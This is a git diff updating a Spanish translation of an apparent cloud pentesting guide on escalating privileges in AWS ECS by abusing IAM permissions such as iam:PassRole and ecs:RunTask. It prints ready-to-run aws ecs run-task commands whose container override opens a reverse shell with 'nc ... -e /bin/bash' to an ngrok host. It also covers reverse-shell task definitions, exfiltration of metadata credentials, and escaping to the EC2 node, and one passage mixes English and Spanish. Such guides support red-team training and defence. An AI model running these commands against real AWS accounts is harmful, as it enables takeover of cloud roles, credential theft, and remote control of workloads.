Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2025-08-31 08:12:50 +00:00
parent 3cabbfed7a
commit 1c21e0bfda
14 changed files with 77 additions and 29 deletions

View File

@@ -12,7 +12,7 @@ Más **info sobre ECS** en:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Un atacante que abuse del permiso `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarlo**.
Un atacante que abuse de los permisos `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarlo**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Crea un webhook con un sitio como webhook.site
Crea un webhook usando un sitio como webhook.site
```bash
# Create file container-definition.json
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Impacto Potencial:** Privesc directo a un rol de ECS diferente.
**Impacto potencial:** privesc directo a un rol ECS diferente.
### `iam:PassRole`,`ecs:RunTask`
Un atacante que tenga permisos `iam:PassRole` y `ecs:RunTask` puede iniciar una nueva tarea ECS con los valores modificados de **execution role**, **task role** y **command** del contenedor. El comando CLI `ecs run-task` contiene la opción `--overrides`, que permite cambiar en tiempo de ejecución `executionRoleArn`, `taskRoleArn` y el `command` del contenedor sin tocar la task definition.
Los roles IAM especificados en `taskRoleArn` y `executionRoleArn` deben confiar/permitir ser asumidos por `ecs-tasks.amazonaws.com` en su política de confianza.
Además, el atacante necesita conocer:
- Nombre del cluster ECS
- Subred de VPC
- Grupo de seguridad (si no se especifica un grupo de seguridad se usará el predeterminado)
- Nombre y revisión de la definición de tarea (Task Definition)
- Nombre del contenedor
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
En el fragmento de código anterior el atacante sobrescribe sólo el valor de `taskRoleArn`. Sin embargo, el atacante debe tener el permiso `iam:PassRole` sobre el `taskRoleArn` especificado en el comando y el `executionRoleArn` especificado en la definición de la tarea para que el ataque ocurra.
Si el rol IAM que el atacante puede pasar tiene suficientes privilegios para extraer una imagen de ECR y arrancar la tarea ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) entonces el atacante puede especificar el mismo rol IAM tanto para `executionRoleArn` como para `taskRoleArn` en el comando `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Impacto potencial:** Privesc directo a cualquier rol de tarea de ECS.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarlo**.\
Sin embargo, en este caso, se necesita una instancia de contenedor para ejecutar la definición de tarea maliciosa.
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarla**.\
Sin embargo, en este caso, es necesario que exista una instancia de contenedor para ejecutar la task definition maliciosa.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -96,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Impacto Potencial:** Privesc directo a cualquier rol de ECS.
**Impacto potencial:** Privesc directo a cualquier rol de ECS.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.**
Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generar una nueva definición de tarea** con un **contenedor malicioso** que robe las **credenciales de metadatos** y **ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -123,11 +170,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Impacto Potencial:** Privesc directo a cualquier rol de ECS.
**Impacto potencial:** Privesc directo a cualquier rol de ECS.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
De hecho, solo con esos permisos es posible usar sobrescrituras para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:
En realidad, con solo esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -135,16 +182,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Impacto Potencial:** Privesc directo a cualquier rol de ECS.
**Impacto potencial:** Escalada directa de privilegios a cualquier rol de ECS.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Este escenario es como los anteriores pero **sin** el permiso **`iam:PassRole`**.\
Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si no tiene un rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **otros roles de contenedores ECS** que se ejecutan en el nodo.\
Incluso podrías **forzar a otras tareas a ejecutarse dentro de la instancia EC2** que comprometes para robar sus credenciales (como se discut en la [**sección Privesc a nodo**](aws-ecs-privesc.md#privesc-to-node)).
Este escenario es similar a los anteriores pero **sin** el permiso **`iam:PassRole`**.\
Sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si es sin rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **roles de otros contenedores de ECS** que se estén ejecutando en el nodo.\
Incluso podrías **forzar que otras tareas se ejecuten dentro de la instancia EC2** que comprometas para robar sus credenciales (como se discute en la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Este ataque solo es posible si el **clúster de ECS está utilizando instancias de EC2** y no Fargate.
> Este ataque solo es posible si el clúster de ECS está usando instancias EC2 y no Fargate.
```bash
printf '[
{
@@ -187,8 +234,7 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Un atacante con el **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el rol de IAM adjunto a él (necesitas los permisos de descripción porque es necesario ejecutar `aws ecs execute-command`).\
Sin embargo, para hacer eso, la instancia del contenedor debe estar ejecutando el **agente ExecuteCommand** (que por defecto no lo está).
Un atacante con los permisos **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el IAM role adjunto a él (necesitas los permisos de describe porque son necesarios para ejecutar `aws ecs execute-command`).\ Sin embargo, para hacerlo, la instancia del contenedor necesita estar ejecutando el **ExecuteCommand agent** (que por defecto no lo está).
Por lo tanto, el atacante podría intentar:
@@ -210,18 +256,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Si tiene **`ecs:RunTask`**, ejecute una tarea con `aws ecs run-task --enable-execute-command [...]`
- Si tiene **`ecs:StartTask`**, ejecute una tarea con `aws ecs start-task --enable-execute-command [...]`
- Si tiene **`ecs:CreateService`**, cree un servicio con `aws ecs create-service --enable-execute-command [...]`
- Si tiene **`ecs:UpdateService`**, actualice un servicio con `aws ecs update-service --enable-execute-command [...]`
- Si tiene **`ecs:RunTask`**, ejecutar una tarea con `aws ecs run-task --enable-execute-command [...]`
- Si tiene **`ecs:StartTask`**, ejecutar una tarea con `aws ecs start-task --enable-execute-command [...]`
- Si tiene **`ecs:CreateService`**, crear un servicio con `aws ecs create-service --enable-execute-command [...]`
- Si tiene **`ecs:UpdateService`**, actualizar un servicio con `aws ecs update-service --enable-execute-command [...]`
Puede encontrar **ejemplos de estas opciones** en **secciones anteriores de privesc de ECS**.
Puedes encontrar **ejemplos de esas opciones** en las **secciones previas de ECS privesc**.
**Impacto Potencial:** Privesc a un rol diferente adjunto a contenedores.
**Impacto potencial:** Privesc a un rol diferente adjunto a los contenedores.
### `ssm:StartSession`
Verifique en la **página de privesc de ssm** cómo puede abusar de este permiso para **privesc a ECS**:
Consulta en la **página ssm privesc** cómo puedes abusar de este permiso para **privesc a ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -229,24 +275,26 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Verifique en la **página de privesc de ec2** cómo puede abusar de estos permisos para **privesc a ECS**:
Consulta en la **página ec2 privesc** cómo puedes abusar de estos permisos para **privesc a ECS**:
{{#ref}}
aws-ec2-privesc.md
{{#endref}}
### `?ecs:RegisterContainerInstance`
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
TODO: ¿Es posible registrar una instancia de otra cuenta de AWS para que las tareas se ejecuten en máquinas controladas por el atacante?
Un atacante con estos permisos podría potencialmente registrar una instancia EC2 en un clúster ECS y ejecutar tareas en ella. Esto podría permitir al atacante ejecutar código arbitrario en el contexto de las tareas de ECS.
- TODO: ¿Es posible registrar una instancia desde una cuenta AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Probar esto
Un atacante con los permisos `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` y `ecs:DescribeTaskSets` puede **crear un conjunto de tareas malicioso para un servicio ECS existente y actualizar el conjunto de tareas principal**. Esto permite al atacante **ejecutar código arbitrario dentro del servicio**.
Un atacante con los permisos `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, y `ecs:DescribeTaskSets` puede crear un task set malicioso para un servicio ECS existente y actualizar el task set primario. Esto permite al atacante ejecutar código arbitrario dentro del servicio.
```bash
bashCopy code# Register a task definition with a reverse shell
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
@@ -270,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Impacto Potencial**: Ejecutar código arbitrario en el servicio afectado, lo que podría afectar su funcionalidad o exfiltrar datos sensibles.
**Impacto potencial**: Ejecutar código arbitrario en el servicio afectado, lo que puede afectar su funcionalidad o exfiltrar datos sensibles.
## Referencias